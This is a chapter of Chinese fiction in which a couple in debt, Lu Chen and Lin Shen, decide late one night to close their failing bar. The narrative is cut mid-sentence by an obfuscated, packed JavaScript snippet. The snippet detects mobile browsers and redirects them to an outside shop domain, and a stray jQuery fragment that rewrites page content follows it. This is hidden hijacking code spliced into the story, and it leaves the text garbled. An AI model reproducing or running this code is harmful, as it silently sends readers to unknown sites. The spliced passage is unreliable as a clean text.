供应商第二次打电话过来的时候，陆沉正在喝酒。电话响了很久，响到林深都听烦了。
“接啊。”她说。
陆沉看了一眼来电显示，直接按掉。不到一分钟，电话又响，还是同一个号码。陆沉皱了皱眉，最后还是接了。
“喂。”
电话那头不知道说了什么，陆沉脸色越来越难看，最后只说了一句“知道了”，然后挂断。店里重新安静下来。林深坐在吧台后面低头看手机，没问，因为答案已经猜到了。还能是什么，货款、欠款、账期，这些词已经陪了他们一年多，像影子一样甩不掉。
“催了？”她问。
陆沉点点头：“嗯。”
“多久了？”
“两个多月。”
“多少钱？”
陆沉没回答，林深也没继续问。因为不重要，债已经够多了，再多一笔也只是数字。
晚上八点，老周又来了。林深甚至怀疑他们是不是把这里当成食堂。还是那群人，还是喝酒，还是聊天，还是那些永远说不完的未来。有人说最近接了个项目，有人说认识了什么大人物，有人说准备搞投资。每个人都在发财，只有桌上的账单越来越长。林深站在收银台后面忽然觉得有些荒谬——如果把这些吹出去的牛换成现金，这家店早就活过来了。
来福趴在她脚边睡觉，最近它越来越喜欢待在这里，不去找陆沉，也不满店乱跑，就趴着，像个毛茸茸的地毯。有时候林深低头，发现它也在看自己，那双眼睛黑黑的，安静得不像狗。
晚上十点多客人基本走光，老周他们还在喝。陆沉陪着，一杯接一杯，脸已经红了。林深看了一眼没说什么。以前她会劝，后来不劝了——劝过，吵过，闹过，没用。有些人不撞墙不会回头，有些人撞了墙也不会。
十一点最后一桌客人离开，店里终于安静下来。老周他们也陆续散场，有人临走前拍着陆沉肩膀：“坚持住，明年肯定好。”陆沉点头，笑，送人，关门，整个流程已经熟练得像排练过无数次。风铃最后响了一次，店里只剩三个人——林深、陆沉、来福，还有一堆空酒瓶。空气里都是酒味。
陆沉坐回吧台，点烟，抽了一口，忽然说：“林深。”
“嗯？”
“你觉得还能撑多久？”
林深抬起头。这是他第一次主动问，不是会不会好，不是什么时候好，而是还能撑多久。她沉默了一会儿：“你想听真话？”
陆沉笑了一下，笑得有点苦：“废话。”
“撑不了多久。”
空气忽然安静下来，冰柜发出低低的声音。陆沉没有反驳也没有生气，只是低头抽烟。过了很久才问：“那怎么办？”
林深看着他，第一次发现他好像老了很多。明明才三十出头，却像被什么东西抽走了精气神，眼睛里再也没有刚开店时候那种光。
“关店吧。”她说。声音不大，却像什么东西终于落地。
陆沉的手停住了，烟灰掉下来落在裤子上，他没有拍，只是坐在那里一动不动。林深也没说话。这一年多他们谁都没提过这两个字，像一个禁忌，像一个不能碰的伤口，现在终于被撕开了。
店里安静得吓人。不知道过去多久，陆沉忽然笑了，笑得特别难看。
“关店。”
“嗯。”
“就这样关了？”
“嗯。”
“那这一年多算什么？”
林深没回答，因为她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691743|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
也不知道。装修、开业、宣传、亏损、争吵、喝酒、债务、两百万，算什么？谁说得清。
陆沉低着头，忽然说：“我不甘心。”
“我知道。”
“真的不甘心。”
“我知道。”
“林深。”
“嗯？”
“我已经什么都没有了。”
这句话出来的时候林深心里忽然疼了一下。因为她知道这是真话——店没救活，工作没了，债越来越多，朋友越来越少，尊严一点点被磨光。陆沉确实快什么都没有了。可她没有接话，因为她忽然发现自己已经没有力气继续救他了。以前听见这种话她会立刻想办法，会安慰，会鼓励，会说再试试。这一次没有，她只是坐在那里安静地陪着，像陪一个正在沉下去的人，而自己已经站在岸上。
凌晨店彻底打烊，陆沉喝了很多酒坐在那里发呆。林深开始收拾东西——杯子、账单、餐具、垃圾，都是每天都会做的事，只是今天不知道为什么她收拾得特别认真，像在记住什么，像在告别什么。来福跟在她脚边慢悠悠地走，尾巴偶尔碰到椅子腿发出轻轻的声音。林深低头看着它，忽然伸手摸了摸它脑袋。来福抬头吐着舌头看她，什么都不知道，也什么都不担心。她忽然有点羡慕。
店里的灯还亮着，照在空荡荡的大厅里。那些花了几十万装修出来的墙面，那些定制的灯，那些她曾经觉得很漂亮的桌椅，都还在那里，什么都没变。可她忽然觉得这家店已经结束了。有些事情不是关上门才算结束，而是在终于说出口的那一刻就结束了。
那天晚上，陆沉没有再坚持，林深也没有再说试试。谁都没有。因为他们终于同时看见了同一个事实：这家店真的走到头了。